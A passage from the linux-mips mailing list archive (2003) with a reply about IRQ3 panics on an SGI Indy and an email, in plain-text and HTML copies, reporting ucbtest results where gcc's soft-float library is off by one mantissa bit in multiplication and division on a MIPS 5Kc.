> in mind. local3_irq is another cascade where nothing is hooked on Indy, so you
> can't get this irq. and if it happens there is sometning strange with our
> system. there are no comments because you need to understand it before coding
> and once you read documentation comments are useless ;-)
> 
> 	ladis
> 
> ps. there is driver for built-in parport now by Vincent Stehle
> http://vincent.stehle.free.fr/sgi/parport.php3


Ah ha, interesting.  I noticed it, because testing both the parallel 
port and NE2000 ISA card, I had to avoid that IRQ.  The parallel port 
card had physical jumpers I set on it to get around trying to use IRQ3, 
and the NE2000 Card you *have* to know the IRQ.  Can't use the 
ether=0,0,ethX line on the kernel, because if the kernel attempts to 
probe for IRQs, it runs into that panic.  Enabling it didn't seem to do 
anything bad either, except that odd message which sounded pretty weird 
for a kernel.

--Kumba


From DennisCastleman@oaktech.com Mon Apr 14 17:59:25 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 14 Apr 2003 17:59:26 +0100 (BST)
Received: from [IPv6:::ffff:207.16.149.110] ([IPv6:::ffff:207.16.149.110]:57308
	"EHLO mail.teralogic.tv") by linux-mips.org with ESMTP
	id <S8225202AbTDNQ7Z>; Mon, 14 Apr 2003 17:59:25 +0100
Received: from tlexmail.teralogic.tv (tlexmail [192.168.100.138])
	by mail.teralogic.tv (8.11.6/8.11.6) with ESMTP id h3EGu4O18476;
	Mon, 14 Apr 2003 09:56:04 -0700 (PDT)
Received: by TLEXMAIL with Internet Mail Service (5.5.2653.19)
	id <22AC354Y>; Mon, 14 Apr 2003 09:52:54 -0700
Message-ID: <56BEF0DBC8B9D611BFDB00508B5E2634102F07@TLEXMAIL>
From: Dennis Castleman <DennisCastleman@oaktech.com>
To: "'Ralf Baechle'" <ralf@linux-mips.org>, linux-mips@linux-mips.org
Cc: Gus Fernandez <GusFernandez@oaktech.com>
Subject: Soft floating point on 5K
Date: Mon, 14 Apr 2003 09:52:53 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C302A6.4AA10880"
Return-Path: <DennisCastleman@oaktech.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2036
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: DennisCastleman@oaktech.com
Precedence: bulk
X-list: linux-mips

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C302A6.4AA10880
Content-Type: text/plain;
	charset="ISO-8859-1"

ALL  

I'm trying to run soft-floating point functions on a r5000 core with a FPU. 
Without having to take the overhead of using a trap.  Using the files
fp-bit.c and dp-bit.c 
from the gcc source as a floating point lib.  This implementation lack in
accuracy in 
the least signeficant bit multiplication in division operations. 

Using the floating point validation test from UCB(ucbtest), which validates 
single and double precision operations for addition, subtraction, division 
and multiplication. This test tests all difficult cases and edge conditions 
(like combination of infinities, Nan etc.). 

Here is the result with our soft-float library:- 
Single precision Addition: Passed all 344 tests. 
Single precision Subtraction: Passed all 316 tests 
Single precision multiplication: Total: 334 Passed:313 Failed: 21 
Single precision division: Total: 379 Passed: 375 Failed: 4 
Double precision Addition: Passed all 352 tests. 
Double precision Subtraction: Passed all 321 tests 
Double precision multiplication: Total: 340 Passed: 319 Failed: 21 
Double precision division: Total: 383 Passed: 379 Failed: 4 

However, in all the failed cases there is only 1 bit different in the
mantissa. 
Essentially for some cases, it's less accurate by the minimum distance. 


Any ideas in how to make this work or improve soft-floating point on a mips
5Kc?


Value error: divd n eq xu
	Input:    000FFFFF FFFFFFFE 3FEFFFFF FFFFFFFE
	Computed: 000FFFFF FFFFFFFE 
	Expected: 000FFFFF FFFFFFFF xu
Value error: divd n eq xu
	Input:    000FFFFF FFFFFFF7 3FEFFFFF FFFFFFFE
	Computed: 000FFFFF FFFFFFF7 
	Expected: 000FFFFF FFFFFFF8 xu
Value error: divd n eq xu
	Input:    800FFFFF FFFFFFF8 3FEFFFFF FFFFFFFE
	Computed: 800FFFFF FFFFFFF8 
	Expected: 800FFFFF FFFFFFF9 xu
Value error: divd n eq xu
	Input:    001FFFFF FFFFFFFF 40000000 00000000
	Computed: 000FFFFF FFFFFFFF 
	Expected: 00100000 00000000 xu
Total  383 tests:  pass  379,  flags err    0,  value err   4,     divd
 ucbtest UCBFAIL in divd at line 701 for double 


Value error: divs n eq xu
	Input:    007FFFFE 3F7FFFFE
	Computed: 007FFFFE 
	Expected: 007FFFFF xu
Value error: divs n eq xu
	Input:    007FFFF7 3F7FFFFE
	Computed: 007FFFF7 
	Expected: 007FFFF8 xu
Value error: divs n eq xu
	Input:    807FFFF8 3F7FFFFE
	Computed: 807FFFF8 
	Expected: 807FFFF9 xu
Value error: divs n eq xu
	Input:    00FFFFFF 40000000
	Computed: 007FFFFF 
	Expected: 00800000 xu
Total  379 tests:  pass  375,  flags err    0,  value err   4,     divs
 ucbtest UCBFAIL in divs at line 701 for float 

Value error: muld n eq x?u
	Input:    000FFFFF FFFFFFF8 3FF00000 00000008
	Computed: 000FFFFF FFFFFFFF 
	Expected: 00100000 00000000 x?u
Value error: muld n eq x?u
	Input:    000FFFFF FFFFFFF8 BFF00000 00000008
	Computed: 800FFFFF FFFFFFFF 
	Expected: 80100000 00000000 x?u
Value error: muld n eq x?u
	Input:    000FFFFF FFFFFFFF 3FF00000 00000001
	Computed: 000FFFFF FFFFFFFF 
	Expected: 00100000 00000000 x?u
Value error: muld n eq x?u
	Input:    00100000 00000001 3FEFFFFF FFFFFFFE
	Computed: 000FFFFF FFFFFFFF 
	Expected: 00100000 00000000 x?u
Value error: muld n eq x?u
	Input:    00100000 00000002 3FEFFFFF FFFFFFFC
	Computed: 000FFFFF FFFFFFFF 
	Expected: 00100000 00000000 x?u
Value error: muld n eq x?u
	Input:    20000000 02000000 1FFFFFFF FC000000
	Computed: 00000000 00000000 
	Expected: 00100000 00000000 x?u
Value error: muld n eq x?u
	Input:    800FFFFF FFFFFFFF 3FF00000 00000001
	Computed: 800FFFFF FFFFFFFF 
	Expected: 80100000 00000000 x?u
Value error: muld n eq xu
	Input:    00000000 00000001 3FEFFFFF FFFFFFFF
	Computed: 00000000 00000000 
	Expected: 00000000 00000001 xu
Value error: muld n eq xu
	Input:    00000000 00000001 BFEFFFFF FFFFFFFF
	Computed: 80000000 00000000 
	Expected: 80000000 00000001 xu
Value error: muld n eq xu
	Input:    000FFFFF FFFFFFF8 3FF00000 00000001
	Computed: 000FFFFF FFFFFFF8 
	Expected: 000FFFFF FFFFFFF9 xu
Value error: muld n eq xu
	Input:    000FFFFF FFFFFFF8 BFF00000 00000001
	Computed: 800FFFFF FFFFFFF8 
	Expected: 800FFFFF FFFFFFF9 xu
Value error: muld n eq xu
	Input:    000FFFFF FFFFFFFE 3FF00000 00000001
	Computed: 000FFFFF FFFFFFFE 
	Expected: 000FFFFF FFFFFFFF xu
Value error: muld n eq xu
	Input:    000FFFFF FFFFFFFE BFF00000 00000001
	Computed: 800FFFFF FFFFFFFE 
	Expected: 800FFFFF FFFFFFFF xu
Value error: muld n eq xu
	Input:    00100000 00000001 3FEFFFFF FFFFFFFA
	Computed: 000FFFFF FFFFFFFD 
	Expected: 000FFFFF FFFFFFFE xu
Value error: muld n eq xu
	Input:    001FFFFF FFFFFFFF 3FE00000 00000000
	Computed: 000FFFFF FFFFFFFF 
	Expected: 00100000 00000000 xu
Value error: muld n eq xu
	Input:    001FFFFF FFFFFFFF BFE00000 00000000
	Computed: 800FFFFF FFFFFFFF 
	Expected: 80100000 00000000 xu
Value error: muld n eq xu
	Input:    800FFFFF FFFFFFF7 3FF00000 00000001
	Computed: 800FFFFF FFFFFFF7 
	Expected: 800FFFFF FFFFFFF8 xu
Value error: muld n eq xu
	Input:    BFE00000 00000001 00000000 00000001
	Computed: 80000000 00000000 
	Expected: 80000000 00000001 xu
Value error: muld n eq xu
	Input:    BFF80000 00000000 80000000 00000001
	Computed: 00000000 00000001 
	Expected: 00000000 00000002 xu
Value error: muld n eq xu
	Input:    C0040000 00000001 00000000 00000001
	Computed: 80000000 00000002 
	Expected: 80000000 00000003 xu
Value error: muld n eq xu
	Input:    C00C0000 00000000 80000000 00000001
	Computed: 00000000 00000003 
	Expected: 00000000 00000004 xu
Total  340 tests:  pass  319,  flags err    0,  value err  21,     muld
 ucbtest UCBFAIL in muld at line 701 for double 
  

 

Dennis Castleman
Manager Systems Software Engineering 
TeraLogic Group, Inc. a division of Oak Technologies Inc. 
1-408-523-4214
_______________________________________________________________________ 
CONFIDENTIALITY NOTICE: The information contained in this message and any
attachment(s) is confidential and may be legally privileged. The message is
intended solely for the addressee(s). If you are not the intended recipient,
you are hereby notified that any use, dissemination, or reproduction is
strictly prohibited and may be unlawful. If you are not the intended
recipient, please contact the sender by return e-mail and destroy all copies
of the original message and any associated attachments. If you are the
intended recipient - this is official notification that this email or it's
attachments are confidential and covered by the agreements between the
companies.
Thank-you.__________________________________________________________________
___ 



------_=_NextPart_001_01C302A6.4AA10880
Content-Type: text/html;
	charset="ISO-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>Soft floating point on 5K</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>ALL&nbsp; </FONT>
</P>

<P><FONT SIZE=2>I'm trying to run soft-floating point functions on a r5000 core with a FPU. </FONT>
<BR><FONT SIZE=2>Without having to take the overhead of using a trap.&nbsp; Using the files fp-bit.c and dp-bit.c </FONT>
<BR><FONT SIZE=2>from the gcc source as a floating point lib.&nbsp; This implementation lack in accuracy in </FONT>
<BR><FONT SIZE=2>the least signeficant bit multiplication in division operations. </FONT>
</P>

<P><FONT SIZE=2>Using the floating point validation test from UCB(ucbtest), which validates </FONT>
<BR><FONT SIZE=2>single and double precision operations for addition, subtraction, division </FONT>
<BR><FONT SIZE=2>and multiplication. This test tests all difficult cases and edge conditions </FONT>
<BR><FONT SIZE=2>(like combination of infinities, Nan etc.). </FONT>
</P>

<P><FONT SIZE=2>Here is the result with our soft-float library:- </FONT>
<BR><FONT SIZE=2>Single precision Addition: Passed all 344 tests. </FONT>
<BR><FONT SIZE=2>Single precision Subtraction: Passed all 316 tests </FONT>
<BR><FONT SIZE=2>Single precision multiplication: Total: 334 Passed:313 Failed: 21 </FONT>
<BR><FONT SIZE=2>Single precision division: Total: 379 Passed: 375 Failed: 4 </FONT>
<BR><FONT SIZE=2>Double precision Addition: Passed all 352 tests. </FONT>
<BR><FONT SIZE=2>Double precision Subtraction: Passed all 321 tests </FONT>
<BR><FONT SIZE=2>Double precision multiplication: Total: 340 Passed: 319 Failed: 21 </FONT>
<BR><FONT SIZE=2>Double precision division: Total: 383 Passed: 379 Failed: 4 </FONT>
</P>

<P><FONT SIZE=2>However, in all the failed cases there is only 1 bit different in the mantissa. </FONT>
<BR><FONT SIZE=2>Essentially for some cases, it's less accurate by the minimum distance. </FONT>
</P>
<BR>

<P><FONT SIZE=2>Any ideas in how to make this work or improve soft-floating point on a mips 5Kc?</FONT>
</P>
<BR>

<P><FONT SIZE=2>Value error: divd n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFFE 3FEFFFFF FFFFFFFE</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 000FFFFF FFFFFFFE </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 000FFFFF FFFFFFFF xu</FONT>
<BR><FONT SIZE=2>Value error: divd n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFF7 3FEFFFFF FFFFFFFE</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 000FFFFF FFFFFFF7 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 000FFFFF FFFFFFF8 xu</FONT>
<BR><FONT SIZE=2>Value error: divd n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 800FFFFF FFFFFFF8 3FEFFFFF FFFFFFFE</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 800FFFFF FFFFFFF8 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 800FFFFF FFFFFFF9 xu</FONT>
<BR><FONT SIZE=2>Value error: divd n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 001FFFFF FFFFFFFF 40000000 00000000</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 000FFFFF FFFFFFFF </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 00100000 00000000 xu</FONT>
<BR><FONT SIZE=2>Total&nbsp; 383 tests:&nbsp; pass&nbsp; 379,&nbsp; flags err&nbsp;&nbsp;&nbsp; 0,&nbsp; value err&nbsp;&nbsp; 4,&nbsp;&nbsp;&nbsp;&nbsp; divd</FONT>
<BR><FONT SIZE=2>&nbsp;ucbtest UCBFAIL in divd at line 701 for double </FONT>
</P>
<BR>

<P><FONT SIZE=2>Value error: divs n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 007FFFFE 3F7FFFFE</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 007FFFFE </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 007FFFFF xu</FONT>
<BR><FONT SIZE=2>Value error: divs n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 007FFFF7 3F7FFFFE</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 007FFFF7 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 007FFFF8 xu</FONT>
<BR><FONT SIZE=2>Value error: divs n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 807FFFF8 3F7FFFFE</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 807FFFF8 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 807FFFF9 xu</FONT>
<BR><FONT SIZE=2>Value error: divs n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 00FFFFFF 40000000</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 007FFFFF </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 00800000 xu</FONT>
<BR><FONT SIZE=2>Total&nbsp; 379 tests:&nbsp; pass&nbsp; 375,&nbsp; flags err&nbsp;&nbsp;&nbsp; 0,&nbsp; value err&nbsp;&nbsp; 4,&nbsp;&nbsp;&nbsp;&nbsp; divs</FONT>
<BR><FONT SIZE=2>&nbsp;ucbtest UCBFAIL in divs at line 701 for float </FONT>
</P>

<P><FONT SIZE=2>Value error: muld n eq x?u</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFF8 3FF00000 00000008</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 000FFFFF FFFFFFFF </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 00100000 00000000 x?u</FONT>
<BR><FONT SIZE=2>Value error: muld n eq x?u</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFF8 BFF00000 00000008</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 800FFFFF FFFFFFFF </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 80100000 00000000 x?u</FONT>
<BR><FONT SIZE=2>Value error: muld n eq x?u</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFFF 3FF00000 00000001</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 000FFFFF FFFFFFFF </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 00100000 00000000 x?u</FONT>
<BR><FONT SIZE=2>Value error: muld n eq x?u</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 00100000 00000001 3FEFFFFF FFFFFFFE</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 000FFFFF FFFFFFFF </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 00100000 00000000 x?u</FONT>
<BR><FONT SIZE=2>Value error: muld n eq x?u</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 00100000 00000002 3FEFFFFF FFFFFFFC</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 000FFFFF FFFFFFFF </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 00100000 00000000 x?u</FONT>
<BR><FONT SIZE=2>Value error: muld n eq x?u</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 20000000 02000000 1FFFFFFF FC000000</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 00000000 00000000 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 00100000 00000000 x?u</FONT>
<BR><FONT SIZE=2>Value error: muld n eq x?u</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 800FFFFF FFFFFFFF 3FF00000 00000001</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 800FFFFF FFFFFFFF </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 80100000 00000000 x?u</FONT>
<BR><FONT SIZE=2>Value error: muld n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 00000000 00000001 3FEFFFFF FFFFFFFF</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 00000000 00000000 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 00000000 00000001 xu</FONT>
<BR><FONT SIZE=2>Value error: muld n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 00000000 00000001 BFEFFFFF FFFFFFFF</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 80000000 00000000 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 80000000 00000001 xu</FONT>
<BR><FONT SIZE=2>Value error: muld n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFF8 3FF00000 00000001</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 000FFFFF FFFFFFF8 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 000FFFFF FFFFFFF9 xu</FONT>
<BR><FONT SIZE=2>Value error: muld n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFF8 BFF00000 00000001</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 800FFFFF FFFFFFF8 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 800FFFFF FFFFFFF9 xu</FONT>
<BR><FONT SIZE=2>Value error: muld n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFFE 3FF00000 00000001</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 000FFFFF FFFFFFFE </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 000FFFFF FFFFFFFF xu</FONT>
<BR><FONT SIZE=2>Value error: muld n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 000FFFFF FFFFFFFE BFF00000 00000001</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 800FFFFF FFFFFFFE </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 800FFFFF FFFFFFFF xu</FONT>
<BR><FONT SIZE=2>Value error: muld n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 00100000 00000001 3FEFFFFF FFFFFFFA</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 000FFFFF FFFFFFFD </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 000FFFFF FFFFFFFE xu</FONT>
<BR><FONT SIZE=2>Value error: muld n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 001FFFFF FFFFFFFF 3FE00000 00000000</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 000FFFFF FFFFFFFF </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 00100000 00000000 xu</FONT>
<BR><FONT SIZE=2>Value error: muld n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 001FFFFF FFFFFFFF BFE00000 00000000</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 800FFFFF FFFFFFFF </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 80100000 00000000 xu</FONT>
<BR><FONT SIZE=2>Value error: muld n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; 800FFFFF FFFFFFF7 3FF00000 00000001</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 800FFFFF FFFFFFF7 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 800FFFFF FFFFFFF8 xu</FONT>
<BR><FONT SIZE=2>Value error: muld n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; BFE00000 00000001 00000000 00000001</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 80000000 00000000 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 80000000 00000001 xu</FONT>
<BR><FONT SIZE=2>Value error: muld n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; BFF80000 00000000 80000000 00000001</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 00000000 00000001 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 00000000 00000002 xu</FONT>
<BR><FONT SIZE=2>Value error: muld n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; C0040000 00000001 00000000 00000001</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 80000000 00000002 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 80000000 00000003 xu</FONT>
<BR><FONT SIZE=2>Value error: muld n eq xu</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Input:&nbsp;&nbsp;&nbsp; C00C0000 00000000 80000000 00000001</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Computed: 00000000 00000003 </FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2>Expected: 00000000 00000004 xu</FONT>
<BR><FONT SIZE=2>Total&nbsp; 340 tests:&nbsp; pass&nbsp; 319,&nbsp; flags err&nbsp;&nbsp;&nbsp; 0,&nbsp; value err&nbsp; 21,&nbsp;&nbsp;&nbsp;&nbsp; muld</FONT>
<BR><FONT SIZE=2>&nbsp;ucbtest UCBFAIL in muld at line 701 for double </FONT>
<BR><FONT SIZE=2>&nbsp; </FONT>
</P>

<P><FONT SIZE=2>&nbsp;</FONT>
</P>

<P><FONT SIZE=2>Dennis Castleman</FONT>
